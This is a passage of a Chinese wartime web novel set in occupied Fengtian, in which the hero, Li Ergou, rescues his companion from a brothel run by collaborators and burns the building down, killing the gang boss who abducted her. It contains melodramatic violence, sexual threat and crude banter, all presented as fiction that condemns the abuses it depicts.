王玉娇说不下去了,再一次趴在于婉清怀里放声痛哭。 “他们把你怎么了?” 王有为瘫坐在椅子上,如果日本人把他的宝贝女儿…… “娇儿,你快说,到底怎么了?” “他们把我……拖到孔庙里,扒光了……我身上的……衣服,差点把我……强暴了,幸好这位先生……及时出现……救了我。” 王有为听完,内心稍微松了一口气,但此事也足以令他颜面扫地。 “砰!” 他抓起桌上的一个杯子狠狠地摔在地上,余怒未消,又抓起一个杯子摔在地上。 “连我的女儿都敢动!狗日的日本人,你们别欺人太甚!” 虽然他嘴上骂得厉害,但对于日本人,他也不敢轻易得罪。 “娇儿,你放心,爸爸一定会为你讨回一个公道!” 王玉娇身体还在抽搐。 “爸,那两个可恶的日本人已经死了!” “死了?怎么死的?” 王有为下意识地看向门外,此时的李二狗正在低头逗弄着院里的一条大狼狗。 “是他杀了那两个日本人。” 王有为震惊不已。 杀死日本人,还一次杀死两个,这可不是小事。 “你怎么把他带到家里来了?你不知道杀死日本人是多大的罪吗?” 王玉娇冷哼一声,不屑地说道:“他们要强暴我,只杀了他们算是便宜他们了,应该把他们千刀万剐。” “娇儿,你……” 王有为此时又气又怕,他也不知道该如何是好,但杀死日本人的凶手出现在王公馆,绝对不应该。 “娇儿,你为什么大清早自己跑回来?我不和你说过吗?平时不要自己回来,周末我会派人接你回家。” “爸,人家想你和妈妈了嘛,我自己的家都不能回,呜呜……” 王玉娇说着又哭了起来。 “好了,别哭了,以后可千万不要自己回来了,现在是特殊时期,外边很不安全。” “爸,您是奉天市长,难道连您的女儿都不能自由出入吗?” 这个问题王有为无法回答,他也不想回答。 他又瞥了一眼站在院子里的李二狗,问道:“你把这个人带回来干什么?是他主动要求的吗?” 王玉娇抱怨道:“爸,您把人家当成什么人了?人家在救我之前,可不知道我是市长的女儿。” “可他杀了两个日本人,要是被日本人知道了,你知道是什么后果吗?” 王玉娇没想到自己的父亲竟如此懦弱。 “爸,人家是为了救你女儿才杀了日本人,人家都不怕,您反而怕了?是我们连累了他,不是他连累我们!” 王有为被王玉娇这一顿数落,一时有些语塞,竟不知道该如何反驳。 这些年,他在日本人面前卑躬屈膝久了,腰杆子确实直不起来了。 第528章 忘恩负义的小人 王有为知道,王玉娇把这个男人带回家,一定是有事要自己帮忙。 按理说,他救了自己的女儿,帮他做点事情也是合情合理的。 但这个人刚刚杀了两个日本人,哪怕是为了救王玉娇而杀人,但如果被日本人发现,自己肯定会受到牵连。 他不能允许自己和这个男人有太多的牵扯。 杀日本人是他个人行为,哪怕是为了救自己的女儿,也与自己无关! “娇儿,你把他带回家,到底是为了什么?” 王玉娇刚才表现的那么悲痛,就是为了激起王有为的爱女之情。 人家舍命救了你的女儿,你帮人家一个忙也是理所应当的。 “李大哥和他妹妹昨晚走丢了,您刚才说了,现在是特殊时期,她一个女孩子在外边多危险啊,所以他想请您帮忙找一找他妹妹,爸,李大哥救了我,您可不能不管他的事啊。” 王有为是个老狐狸,他想问题不会像王玉娇那般单纯。 一个人能悄无声息地杀掉两个日本人,这样的身手肯定不是一般人。 如果他是抗联的人,那问题就相当严重了。 “你去把他叫进来,我和他谈谈。” 王玉娇赶忙擦干眼泪,走到院子里把李二狗叫了进来。 “李大哥,这位是我爸爸,这位是我妈妈,爸妈,李大哥姓李,叫李二狗,就是他救了我。” 王有为笑着拱手道:“李先生,多谢你出手相助,救了小女,我们全家都感谢你的搭救之恩,快快请坐。” 虽然王有为是奉天市长,但李二狗还是表现的不卑不亢,省长面前他都谈笑风生,更何况是一个伪满的市长。 “王市长,您客气了,我不过是路见不平,举手之劳罢了,我相信每一个有良知的中国人见到这种情况都不会选择袖手旁观。” 李二狗特意强调“中国人”三个字,王有为听后尴尬不已。 李二狗虽然是有事相求王有为,但不会因为这样就认同他的人生选择。 “李先生,不管怎么说,是你冒着生命危险救了小女,我们一定要感谢你。” “是呀,我们是一定要好好感谢感谢李先生的。” 于婉清笑意盈盈地看向李二狗,这个男人身上所散发出来的那种原始的野性气息,令她不禁心头一颤。 李二狗最受不了女人看自己的这种目光,尤其是长相漂亮的女人,他自认不是一个自制力强的男人。 王有为转头看向于婉清,说道:“婉清啊,你去和管家说一声,马上取一千块钱来送给李先生。” 李二狗急忙说道:“王市长,我刚才已经说过了,只是举手之劳,您的钱我是一定不能收的。” 王有为只想尽快拿钱把李二狗打发走,他杀了两个日本人,一定不能让他连累王公馆。 “李先生,你救了小女,我们一定要表达对你的感激之情,这些钱虽然不多,但也是我们的一番心意,还请你务必收下,不然,我们会良心不安的。” 李二狗心想,王有为只想用金钱来打发自己,并没有要帮助自己寻找鲜儿的意思,想来是不想和自己有太多的牵扯。 “王市长,我刚刚已经说过了,任何一个有良知的中国人见到这种情况都不会袖手旁观,我救人不是为了您的感激,我只是不想对不起自己的良心。” 说完他起身从沙发上站了起来。 “王小姐,你好好休息,我先告辞了。” 王玉娇见状,急忙说道:“李大哥,您先别走。” 她转头怒视王有为,质问道:“爸,我刚才不是和您说了吗?李大哥和他妹妹走失了,想让您帮着找一找。” 王有为不急不躁地说道:“人走失了可以去警察局报案嘛,我虽然是奉天市长,但警察局并不归奉天市政府管理,他们是由日本人直接管理的。” 王玉娇没想到自己的父亲竟说出此等敷衍之词。 “爸,您不会是不想帮忙吧?李大哥可是我的救命恩人啊!” 王有为不是不想帮忙,但李二狗杀了日本人,他不能让李二狗连累自己。 最好的办法便是和他划清界限,没有往来。 “娇儿,你怎么和爸爸说话呢?爸爸不是不想帮,是警察局的事情爸爸插不上话,我想李先生肯定也能理解我的苦衷,是吧?” 李二狗面无表情地说道:“当然理解,王市长已经尽力了,那我就不打扰了,告辞!” 李二狗病急乱投医,竟然求汉奸帮忙!他现在非常后悔来到王公馆! “李大哥,你别走!爸……” 李二狗已经走了出去,王有为嘴角露出一丝狞笑,说道:“李先生,钱马上就送过来了,你还是把钱拿上再走吧。” “呵呵!” 李二狗头也不回,径直走了出去。 王玉娇想要跟出去拦住李二狗,却被王有为一把拉住了。 “爸,你放开我!” “玉娇,你不要再任性了,今天早上的教训还不够深刻吗?你现在马上给我回自己屋里待着,待会我会安排人把你送回学校。” 王玉娇看着李二狗的身影渐渐消失在自己的视线里,她再一次泪流满面。 她为自己有这样一个不知感恩的父亲而感到羞耻。 “爸,他是我的救命恩人,你怎么能这样对他?我不想做一个忘恩负义的小人!” 王玉娇明着说自己忘恩负义,其实是在说王有为忘恩负义。 王有为态度非常坚决,他冷冷地说道:“他杀了两个日本人,我们绝不能和他再有任何往来!” 王玉娇实在想不明白,李二狗是为了救自己才杀了日本人,可现在自己的父亲却担心这个人会连累到自己。 人怎么可以如此无耻! 但王有为是她的父亲,有些事情她心里可以想,但却不能说出口。 “妈……” 她又用求助的目光看向于婉清。 “娇儿,还是听你爸爸的吧,他不会害你的。” 王玉娇彻底绝望了。 她哭着跑回自己的卧室,怪不得学校里的同学都对她冷眼相对,人家做得对! 她打开窗户向外看了看,决定去找李二狗! 第529章 “新鲜货” 王玉娇看了看窗外,从二楼卧室窗户跳下去,离地足有五六米高。 她腿软了,这高度对她来说,实在是太高了。 更何况,院里院外都有保镖,她即使跳下去也绝对离不开王公馆。 她从卧室直接来到一楼大厅。 “学校还有课,我先回学校了。” 王有为太了解自己这个宝贝女儿的脾气,他也知道自己刚才对李二狗的冷漠的确有些不近人情,但他别无选择。 与自己的仕途相比,其他任何事情都得为他让路。 “我让人开车送你回学校。” “不用,我自己回去。” 说着,王玉娇已经走出门外。 王有为赶紧对门外的一个保镖喊道:“带两个人送小姐回学校,路上要是有一点闪失,我拿你是问。” “是,市长。” 两个保镖紧跟着王玉娇出了门。 刚才李二狗离开时,王玉娇看到他出门向右边走去。 王玉娇出门也向右走去。 保镖急忙上前说道:“小姐,学校在左边,您怎么往右走?” 王玉娇理都不理他,径直向右走去。 “小姐,小姐……” 保镖跟随不舍,但也不敢阻拦。 两人只好默默地跟随在王玉娇身后,他们了解这位大小姐的脾气,如果拂了她的意,她肯定会当街给你两个大耳刮子。 王玉娇一边走一边找,可连李二狗的影子都没看到。 李二狗离开的时候就料定王玉娇会追出来,此刻他正站在一个角落里默默注视着王玉娇。 点到即止,是李二狗能为她所做的最后一件事。 李二狗来到金凤仙住处。 “你怎么才来?” 金凤仙已经等了李二狗许久,她以为李二狗出了什么意外。 “临时出了点意外,我那个妹子……她走丢了。” “走丢了?一个大活人怎么能走丢呢?不会是出什么意外了吧?” 李二狗最担心的就是她出现什么意外。 “我找了好久,一直没找到。” 金凤仙安慰道:“没有消息也许是好消息,至少说明没有出现什么意外。” “嗯!我怕你担心,所以过来和你说一声,我还得继续去找她,等有了消息我再来告诉你。” 金凤仙虽然是市政府副秘书长的太太,但所谓的副秘书长其实就是服务人员,更何况他现在还出差在外,金凤仙也是爱莫能助。 “二狗,你别着急,我和你一起去找吧?” “谢谢你的好意,你不认识她,还是我自己去找吧。” 金凤仙只是向李二狗表达自己的态度,她平时养尊处优惯了,走几步路都要上喘,确实不适合出去寻人。 “对了,二狗,你会骑自行车吗?” “会骑。” “我家里有辆自行车,你骑上车去找她吧,这样可以快一些。” 李二狗没有推辞,骑自行车确实方便很多。 “谢谢你,凤仙。” 其实金凤仙也有自己的小心思,借自行车给李二狗 ,不管最终他找不找的到人,都会来还自行车,这样两人就有了再一次见面的机会。 第530章 怡红院 李二狗想到这,赶紧跟了出去。 他刚出门就看到那个中年男子已经钻进一个小汽车里。 李二狗跨上自行车刚要去追,老狗带着一个人走了过来。 “怎么?想跟踪我们于爷?你到底是什么人?” 老狗伸手按住自行车的车把,挡住了他的去路。 李二狗找了鲜儿这么久,一直没有消息,此时他正在气头上,没想到就有人送上门当出气筒。 “滚开!” 李二狗伸手抬起老狗放在车把上的胳膊,骑上自行车就要走。 老狗岂能受他如此侮辱。 “我尼玛!” 老狗挥起一拳打向李二狗的右脸,却被他轻易闪身躲过,同时李二狗挥出一拳正打在老狗的腮帮子上。 这一拳力度着实不小,老狗的两颗牙被当场打掉。 他吐出一口血水,看到地上的两颗牙齿,怒不可遏,痛骂道:“给我宰了这个狗日的!” 另一个人见状,赶紧掏出匕首,刺向李二狗。 李二狗微微一笑,手上一用力,自行车轻飘飘地砸向那人身体。 他惨叫一声,倒在地上,捂着胸口不停地呻吟。 李二狗上前踩在他的手腕上,脚上稍一用力,立马踩断了他的手腕。 “啊!” 这一声惨叫,惨绝人寰。 李二狗接着飞起一脚踢在他的脑袋上,这个人顿时昏死过去。 老狗吓坏了! 李二狗出手不仅快,而且又狠又准,每一招都打在对方的要害处,他从来没见过出手如此凶狠的对手, 他赶紧去腰里掏枪,没想到李二狗一个箭步,已经来到他身边,一只手紧紧攥住他的手腕,老狗痛得动弹不得。 “你……你到底是什么人?” “你给老子听好了,老子是日本关东军奉天宪兵队特高课。” 一听到日本宪兵队特高课的大名,老狗顿时吓成了呆狗,那可是一个杀人不眨眼的地方。 “太君,太君,我错了,我有眼不识泰山,您就饶了我这条狗命吧。” “我正在奉命追捕抗日分子,你竟敢横加阻拦,你知道这是什么罪吗?” “我知道,我知道,”老狗被吓懵了,突然觉得自己不应该承认有罪,赶紧解释道:“太君,我没有阻拦您办案啊,我是冤枉的!” “哼,没阻拦?刚才坐车走的那个人有重大反日嫌疑,他叫什么,是什么人?你和他是什么关系?他现在去哪里了?快说!” 老狗听到李二狗说于洪志是抗日分子,顿时吓傻了! 于洪志是奉天青帮的帮主,他怎么可能是抗日分子? 但日本人说他是,自己又岂敢说不是! “他叫于洪志,是奉天青帮的帮主,现在去怡红院了。” “怡红院?他去那里干什么?” “我们于爷,不,于洪志有个癖好,喜欢黄花大闺女,只要怡红院有新来的姑娘都会让他去开苞。” “开苞是什么?” “就是……就是见红。” “见红又是什么?” “就是要女人的第一次!” 李二狗这才明白新鲜货的意思,没想到这个于洪志还有这般下作的喜好。 “怡红院在什么地方?” “在……在中央大街东首,门口有个大牌子,到那就能看到。” 第531章 波涛汹涌 李二狗把耳朵贴在房门上,听到里面隐隐约约传来一阵“呜呜”的声音,像是有人被什么东西塞住了嘴巴。 想到里面被塞住嘴巴的女人可能是鲜儿,李二狗顾不得其他,一脚踢开了房门。 于洪志正在脱裤子,准备扑到床上那个女人身上。 他听到动静,转头看到是李二狗,顿时惊讶不已。 李二狗一看,床上果然躺着一个被毛巾塞住嘴巴的女人,她双手被反绑着,裤子已经被撕扯下来。 不是别人,正是鲜儿。 “你……你要干什么?” 于洪志认出李二狗是刚刚在西餐厅遇到的那个人,他对这个人打扰自己的雅兴非常恼火。 鲜儿看到李二狗神兵天降,嘴里“呜呜”的更厉害了。 李二狗赶紧上前,把鲜儿的裤子提上,取下她嘴里的毛巾。 “狗哥,我以为再也见不得你了。” “鲜儿,都是狗哥不好,让你受苦了。” 李二狗说着就要去解开她手上的绳索。 “你到底是什么人?” 李二狗进门之后一直视于洪志为无物,这彻底惹恼了他。 堂堂奉天青帮帮主,奉天市长的大舅哥,他岂能受这种窝囊气? 说着他就伸手去阻拦李二狗,李二狗这两日早已气急攻心,要是鲜儿被这样一个腌臜泼才糟蹋,他不能想象会是什么后果。 李二狗顺势掰住他的手腕,他痛得惨叫一声,弯下腰,动弹不得。 李二狗越看越觉得于洪才猥琐,他按住他的脑袋,猛地撞到床栏上。 “砰”的一声,于洪志当场昏死过去。 李二狗不再理睬他,赶忙解开鲜儿身上的绳索,鲜儿扑到李二狗怀里。 “狗哥,我错了,我再也不敢了!” 鲜儿哭得梨花带雨,李二狗心痛不已。 李二狗自责道:“鲜儿,都是狗哥不好,没有照顾好你。” 怡红院的打手听到二楼有动静,有两个人过来查看发生了什么情况。 李二狗听到走动的声音,赶紧起身把房门关上,并示意鲜儿不要出声。 打手们知道最西面的房间是于洪志的御用包厢,便站在门口问道:“于爷,您有什么事吗?” 鲜儿看向李二狗,眼神里充满了恐惧。 “滚!” 李二狗学着于洪志的声音骂了一声。 两个打手碰了一鼻子灰,灰溜溜地走了。 “你怎么样?有没有受伤?现在还能走路吗?” 鲜儿眼泪汪汪地点了点头,这一天一夜,她度日如年。 “我还好,能走。” “那我一会儿带你离开这里。” 鲜儿知道李二狗的本事,但也知道这里是怎样的龙潭虎穴。 “狗哥,这里的打手很多,他们不会让我们轻易离开的。” 李二狗如果是一个人,哪怕对方有千军万马他也毫不畏惧。 但现在有鲜儿在,他必须想一个万无一失的办法。 他打开窗户,对面却是一栋楼,两栋楼中间只有三十公分的距离,根本出不去。 李二狗关上窗户,在屋里开始翻箱倒柜地寻找东西。 第532章 越大越好 李二狗用眼睛余光看到大厅里的几个打手正在密切注视着自己的动向。 他故意高声说道:“走,去二楼,爷要试试你的活儿怎么样!” 关之玲笑得胸脯子上蹿下跳,客人去二楼消费意味着她的收入将翻倍,那是怡红院几个头牌姑娘才有的待遇。 “爷,您就放心吧,一定让您呀,吃得饱饱的,嘻嘻。” 李二狗看了一眼她胸前的波涛汹涌,故意粗鄙地伸出舌头舔了舔嘴唇。 “爷的胃口可大得很,要是待会儿不够吃的,爷可饶不了你。” “嘻嘻,人家就喜欢爷的大,越大越好。” “你这个小骚狐狸,说得爷心都痒了,走,上楼。” 关之玲上前挽着李二狗的胳膊就上了二楼,打手们这才放下心来。 进入一个包厢,关之玲立马扑到李二狗身上。 她一边解李二狗的衣扣一边把李二狗的手拉到自己怀里,那是她最引以为傲的地方。 “爷,粗鲁点,人家不喜欢温柔。” 李二狗突然按住她的手,关之玲以为自己说错了话,急忙说道:“爷要喜欢温柔一点,人家也喜欢,我都听爷的。” 说着又要动手,李二狗依然没有松手。 “爷,您怎么了?不会后悔了吧?” 李二狗微微一笑,说道:“不着急,咱们先坐下聊会天。” “聊天?” 关之玲愣住了,来这种地方不就是为了那一哆嗦吗?怎么还要聊天?这超出了她的认知。 “先生,您是对我有什么地方不满意吗?” 李二狗从兜里掏出二百块钱塞到她的事业线里。 “我对你很满意,和你这样的美人聊天可以治愈我的焦虑,其实我更喜欢精神上的一些交流,你懂我的意思吗?” 关之玲低头看到插在自己双峰之间的二百块钱,别说只是聊天,他无论想干什么,自己都会无条件地满足。 “先生,您是我见过最特别也是最富有魅力的男人。” “是吗?能得到小姐的认可是我的荣幸。” 关之玲平时得到的除了粗鲁就是粗鲁,李二狗的夸奖竟令她有些感动。 为了工作,她心甘情愿地周旋于形形色色的男人身下,但她也是一个有心有肝有感情的女人,她也需要得到认可,需要得到别人的夸奖。 “先生,谢谢您,能认识您也是我的荣幸。” “听下面的人说,你叫关之玲?” “是的,关关雎鸠的关,之乎者也的之,玲珑剔透的玲。” 李二狗笑道:“关小姐一定读过很多书吧?你是满族人?” 一句话戳中了关之玲的伤心往事。 “不瞒先生,我的确是满族人,我父亲是前清的官员,清朝灭亡之后,家道中落,父亲去世之后,继母就把我赶出家门,不得已才沦落风尘,哎,让先生见笑了。” 看关之玲的谈吐和说话时的神情,她说的应该都是实话,并不像是为了博取李二狗同情而故意编织的谎言。 李二狗掏出自己的手绢递给关之玲,声音中充满了磁性。 “不好意思,让关小姐想起了伤心事。” 关之玲接过手绢,内心感动不已,李二狗是她见过最有风度的男人。 “没事的先生,我都习惯了,我不怕吃生活的苦,只怕……哎。” 关之玲欲言又止。 “只怕什么?这里只有咱们两个人,关小姐可以畅所欲言。” “只怕生活没有盼头!”关之玲感叹道,“先生您不知道,像我们这样的人,不怕苦不怕累,就怕别人不拿我们当人看。” “人只有分工不同,没有高低贵贱之分,关小姐,你千万不要小瞧了自己。” 李二狗出手阔绰,关之玲以为他是一个暴发户,没想到谈吐竟如此儒雅,大有相见恨晚之意。 “先生真得这样认为吗?” “当然,如果不是生活所迫,谁愿意颠沛流离?其实我们每个人都有自己的难处。” “先生说的太好了,现在日本人在东北扶持废帝建立满洲国,在某种意义上来讲,我们这些人都是亡国奴,可你看看周围,哪有人真心关心这些?” “是啊,日本人占领了咱们东三省,还任意欺压咱们中国人,稍微有点血性的人都不能无动于衷。” 关之玲叹息一声,深以为是。 “其实无动于衷还是好的,最可恨的有些人助纣为虐,比日本人还可恶,我最痛恨的就是那些汉奸。” “关小姐说的太好了,日本人是异族,他们欺负咱们中国人还可以理解,可明明自己是中国人,却心甘情愿地给日本人当狗,这样的人活着,其实他早就死了!” “嘘……” 关之玲起身走到门口,趴在房门上听了听,没有听到动静后才坐回李二狗对面。 “先生说话小点声,您不知道,这怡红院的背后老板是奉天市长的夫人,听说日本人在这里面都有股份,可千万别让他们听见。” 李二狗万万没想到,这怡红院竟然是王玉娇的母亲于婉清所开,看于婉清的模样,她怎么也不像是干这行的。 想来是王有为和日本人合伙开的,为了掩人耳目,才让于婉清站到台前。 “怪不得我看楼下那些打手态度嚣张,原来他们幕后老板是市长和日本人,我听说一件事,不知道是真是假,还请关小姐告知一二。” “什么事?先生但说无妨。” “我听说怡红院经常会找一些未经世事的少女来满足达官贵人的特殊癖好?” 关之玲轻哼一声,丝毫不感到惊讶。 “这在奉天城几乎是公开的秘密,大家都知道啊。” “她们那么小,能愿意吗?再说,去哪找那么多的少女?” 关之玲没想到李二狗如此儒雅,却是一个缺乏社会经验的人。 “这很简单啊,只要怡红院需要,社会上的帮帮派派会源源不断地把年轻的姑娘送来,至于她们是不是自愿的,没有人管这些。” “这也太无法无天了,事后她们就不闹吗?” “她们敢吗?也不看看这是谁的场子!谁敢闹,轻则殴打,重则……,哎……” 第533章 关之玲上贼船 李二狗借机问道:“关小姐难道就没想过离开这里吗?” “我?离开这里?”关之玲神情变得十分落寞,“我只是一个弱女子,生逢这样的乱世,离开这里又能去哪里呢?再说,这里也不是我想离开就能离开的!” “怎么?不想干都不行?” “是啊,只要进了这个门,除非他们认为你没有利用价值才会把你赶出去,否则你就必须在这里一直干下去!” “关小姐如果想离开这里,我倒是可以帮你想想办法。” 关之玲彻底被李二狗征服了,她不明白,两人只是初次相逢,这个男人为何对自己这般好。 “先生,您不会是在和我开玩笑吧?我可是会当真的!” “当然不是!” “哎,不过想离开这里也没有那么容易!他们不会轻易放我走的。” “只要你愿意,我可以想办法带你去关内,总比留在这里做……亡国奴强!” 李二狗本想说妓女,最后还是改成了亡国奴。 “关内?先生您别逗我了,我听说关内也在打仗,我去了也养活不了自己。” “实不相瞒,我在关内有工厂,关小姐如果愿意,我可以安排你到我工厂里做点事情,你完全可以凭借自己的双手来养活自己。” 关之玲心动了,但很快她就放弃了这个想法。 她从小娇生惯养长大,除了这身皮囊,根本干不了其他活。 “我给你时间考虑,只要你愿意,我随时可以带你走。” “先生,咱们萍水相逢,您却如此待我,我真的不知道该怎么感谢您,咱们还是上床吧,让我好好伺候伺候您。” “关小姐,我今天真的没有心情,其实我来怡红院是找人的。” “找人?找什么人?” “找我妹子。” 关之玲顿时明白了,为何他刚才提起少女之事。 “你妹妹叫什么?今天怡红院确实来了一个少女。” “我妹子叫鲜儿,我已经找到她了。” “就是于爷屋里的那个女人?” “是的。” 看着李二狗笑意盈盈的样子,关之玲吓得打了一个寒颤。 她想到李二狗刚到怡红院时,正是自己告诉他于洪志在二楼哪个房间,如果于洪志出现什么意外,自己就是跳进黄河也洗不清了。 “您把于爷……怎么了?” 李二狗表情非常轻松,徐徐说道:“我没把他怎么样,只是把他绑了起来。” 关之玲急忙说道:“先生,您不知道,于爷是市长的大舅哥,还是奉天青帮的帮主,您要得罪了他,后果很严重啊。” “那怎么办?我已经把他绑起来了?要不然把他杀人灭口?” 关之玲吓得脸色煞白,瘫坐在椅子上。 她心里想道:你既然想杀人灭口,为何又要告诉我?就不怕我泄密吗?难道也要杀我灭口不成? 即使你不杀我灭口,那我也成了你的共犯!后果同样不堪设想! 关之玲不知不觉就上了李二狗的贼船! 这正是李二狗的狡猾之处。 他先向关之玲许诺,然后再不动声色地拉她下水,之后该如何选择,答案一目了然! 她根本别无选择! “先生,您还是快点带着你妹子离开这里吧!如果被楼下的那些打手发现,实在是太危险了,他们可都是杀人不眨眼的。” “我带着她打出去倒并不是什么难事,可我担心会连累到你,毕竟从我一进入怡红院,一直都是你在接待我,我不能害了你啊,你说是不是,关小姐?” 关之玲心里已经问候了李二狗祖宗十八代,如果真担心会连累她,为何又要一再招惹自己,还在大庭广众之下带着自己来到二楼? “先生,我谢谢你!既然不能这样出去,又不能在这里久待,那你说该怎么办?” “对啊,怎么办呢?我这不正犯愁吗?这件事的确是太棘手了。” 关之玲吓坏了,她从椅子上站起来,在屋里来回踱步,嘴里不停地念叨着“怎么办”“怎么办”。 “二楼是全封闭的,窗户外边紧贴着一栋同样高的楼,根本出不去。” “那从二楼能上楼顶吗?” “不能!往上去没有入口。” “那就只能从一楼出去了!” “可你那个妹子长的那么漂亮,脸上又有伤,楼下的那些打手一眼就能认出她,他们都知道于爷正在尝鲜,你怎么可能把她带走啊!” “对啊,怎么办呢?咱们好像又说回到了原点!” “先生,您快点想想办法吧,此事可拖不动啊。” 看关之玲如此心急,李二狗认为时机已经成熟,便说道:“我倒有一个办法,就是不知道你愿不愿配合我。” “什么办法?” “放火烧了怡红院!” 关之玲听闻此言,吓得脚下一滑,差点摔在地上,她赶紧用手扶住床栏。 “放火?先生,您不会是在开玩笑吧?这可不是闹着玩的。” “人命关天的大事我怎敢闹着玩?我们在楼上放把火,一来我们可以趁乱离开,二来可以神不知鬼不觉地烧死于洪志。” 关之玲听到放火已经吓得胆战心惊,现在又听到要烧死于洪志,更是吓得六神无主。 “先生,您……您……这烧死人可不是闹着玩的。” “他已经见过我的脸,如果今天不杀了他,假如他以后认出我,肯定会连累你,这难道是闹着玩的吗?” “可毕竟是杀人,杀得又是市长的大舅哥,我担心……” “于洪志作恶多端,杀掉这样的人是替天行道!他就是溥仪的小舅子,也该死!再说,他是被火烧死的,没什么可担心的!” “可烧了怡红院,我以后怎么办啊?” 事已至此,关之玲最关心的还是自己以后的出路。 李二狗早就为她想好了退路。 “你放心,烧了怡红院,我带你回关内,保证让你比现在过得好一百倍!” 关之玲此时已经站在悬崖边上,她无路可退。 “好,我听您的,您想让我怎么帮您?” 李二狗神秘一笑,附耳把自己的计划全部告诉了她。 第534章 火烧怡红院 关之玲听完李二狗的计划,眉头紧锁,依然下不了最后的决心。 她知道,一旦自己配合李二狗实施这个计划,自己就将彻底和他坐在同一艘船上。 可她和这个男人才刚刚认识。 古人云,婊子无情,可嫖客就有情有义吗? 这个男人虽然对自己的承诺非常诱人,但毕竟只是他的片面之语,事后他还会履行自己的承诺吗? 如果他不履行承诺,自己一个弱女子又能拿他怎么办? 更重要是,这个计划一旦泄露,等待自己的将是死亡! 关之玲内心纠结万分。 “关小姐,你是不相信我吗?” 李二狗显然看出了关之玲的疑虑。 “先生,您真的不会骗我吗?” “我在这里对天发誓,如果我不遵守自己对你的承诺,让我生儿子没屁眼!” 关之玲“噗嗤”一声被李二狗逗笑了。 这个男人在这样紧张的情形下还有心思开玩笑,想来是一个非常靠谱的男人。 她选择相信他。 其实在李二狗的这个计划里,并不是非得需要关之玲配合。 他之所以选择让她来配合自己,一来是有了关之玲的配合,这个计划可以实施的更加顺利。 二来他不想伤害关之玲,因为在李二狗的计划里,需要一套妓女的衣服,如果把她打晕,扒光她身上的衣服,在计划实施过程中,她很可能死于非命。 有一点,可能李二狗都没有意识到,在他的内心深处,李二狗也想带着关之玲逃离这个是非之地。 “先生,我答应你。” “关小姐,你放心,我不会让你失望的!” “我相信先生,那我就下楼去准备了,一会儿见。” 关之玲说完就打开房门下了楼。 一楼一个打手见关之玲下楼,便上前打趣道:“大玲子,怎么样?二楼舒服吗?” 关之玲心里正想着李二狗的计划,这个打手突然出现在她面前,吓了她一跳。 她赶紧平复心情,不屑地说道:“舒服个屁!花样倒是不少,可惜是个中看不中用镴枪头!” 打手两只眼睛滴溜溜地盯着关之玲的大胸脯,猥琐地笑道:“能挣钱就行,你怎么还挑三拣四的?待会儿去我屋,我中用,哈哈!” 在这个行业,妓女是弱势群体,经常会受到一些顾客的野蛮刁难甚至虐待,如果出现情况,打手能在第一时间出现,会帮助她们解决很多麻烦,所以妓女们平时都会私下讨好这些打手。 至于怎么讨好他们,自己的身子无疑是最经济可行的方法。 “好,待会儿我忙完二楼的事情就去你屋找你。我先走了,回屋拿点工具,二楼那位花样繁多的爷还等着我呢。” 打手趁机掐了一把关之玲的屁股。 “有事叫哥,哥罩着你。” 关之玲扭着丰满的屁股去了自己屋里,不一会儿就提着一个工具箱走了出来,平时里面装着皮鞭、鹅毛、蜡烛等物件,其实装的是关之玲的金银细软。 在打手们哄笑声中,关之玲扭着大胯上了二楼。 一进屋,她就看到李二狗身边站着一个女子,正是昨天晚上送来的那个“新鲜货”。 她虽然脸上有几道伤痕,但依然挡不住她的绝美容颜,关之玲见了都自惭形秽。 “关小姐,她就是我妹子。” 关之玲笑道:“先生果然没有骗人,我一个女人见了你妹子都要流口水了。” 鲜儿看向关之玲,她容貌虽然不是很出众,年纪看着也不小,但身段确实出类拔萃。 鲜儿以小见长,关之玲则以大取胜。 “哥,这位是?” 鲜儿一声“哥”,把李二狗都叫酥了。 “这位是关小姐,她答应帮我们,待会儿她会带你先出去。” 鲜儿一听,急了。 “那你呢?” “你们先走,我稍后就去找你们。” “哥,我再也不想离开你了。” 女人最了解女人,关之玲从鲜儿刚刚口中的几句话就已判断出她和李二狗绝非是兄妹关系。 李二狗安慰道:“放心吧,哥也不会离开你。” 说完李二狗看向关之玲。 “关小姐,脱衣服吧。” 鲜儿听得面红耳赤,她不明白李二狗为何突然当众让这个女人脱衣服。 关之玲二话不说,就开始解自己身上衣服的扣子。 “哥,你这……” 李二狗笑道:“待会儿你就明白了。” 原来刚才关之玲回屋的时候在原来穿的衣服里面又穿了一套衣服。 “先生,这套衣服快让你妹子换上吧。” “关小姐,谢谢你。” 李二狗接过衣服,递给鲜儿。 “快把这身衣服换上,待会儿你要听关小姐的,我很快就会出去和你们汇合。” 鲜儿还有很多话想和李二狗说,但碍于关之玲在场,也只好咽回肚子里。 “我知道了。” 李二狗安抚完鲜儿,又看向关之玲。 “关小姐,我让你打听的情况打听清楚了吗?” “打听清楚了,二楼的包厢中,二零六和二一二房间现在都没有客人。” “好,关小姐,我知道了,一切就都拜托你了,待会儿咱们按计划行事。” “好的,先生,你也要小心一点。” 鲜儿看到关之玲看李二狗的表情,明明就是一个女人崇拜男人的眼神,她心里难受极了。 自己一个黄花大姑娘送到他嘴边,他都不吃,如今却和一个妓女眉来眼去,她实在理解不了李二狗的心思。 “那我去了。” 李二狗说完打开房门去了于洪志所在的房间。 此时,于洪志已经苏醒过来,他的手脚踢得箱子“哐哐”作响。 于洪志是王玉娇的大舅,李二狗本想放他一马。 但一想到他为非作歹、作恶多端,差点玷污了鲜儿的清白,李二狗就恨得牙痒痒。 这样的人渣留在世上,只会祸害更多的姑娘。 留不得! 想到这,李二狗拿起桌上的一个煤油灯,打开盖子,把里面的煤油洒在床上的被子上。 掏出火柴,点燃了被子。 瞬间,整个被子就剧烈地燃烧起来,火势很快就蔓延开来。 李二狗打开房门去到了二零六房间。 “着火了!着火了!快来救火啊!” 关之玲的喊叫声瞬间引爆了怡红院。 第535章 三个人开一间房 “啊啊啊……着火了,快跑啊!” 包厢里的众多嫖客和妓女慌乱中不忘拿上衣服,光着屁股就从房间里跑了出来。 “快救火!快救火!” 一楼的几个打手已经冲到二楼,慌乱地跑进厕所,拿起水盆、水桶开始救火。 于洪志所在包厢的火还未扑灭,二零六房间也着起了火! 不一会儿,二一二房间也着了火! 打手们一会儿跑到这个房间救火,一会儿又跑到那个房间救火。 二楼顿时变得混乱不堪,根本没有人发现柜子里的于洪志。 堂堂奉天青帮帮主,被浓烟活活呛死在柜子里。 大家纷纷往一楼跑去。 关之玲和鲜儿也跟着混乱的人群跑到一楼。 一楼门口的几个打手起初还阻止大家出去,因为很多嫖客还没有结账。 “大家都不要慌,火马上就会扑灭的!大家在这里等一等,稍安勿躁!” 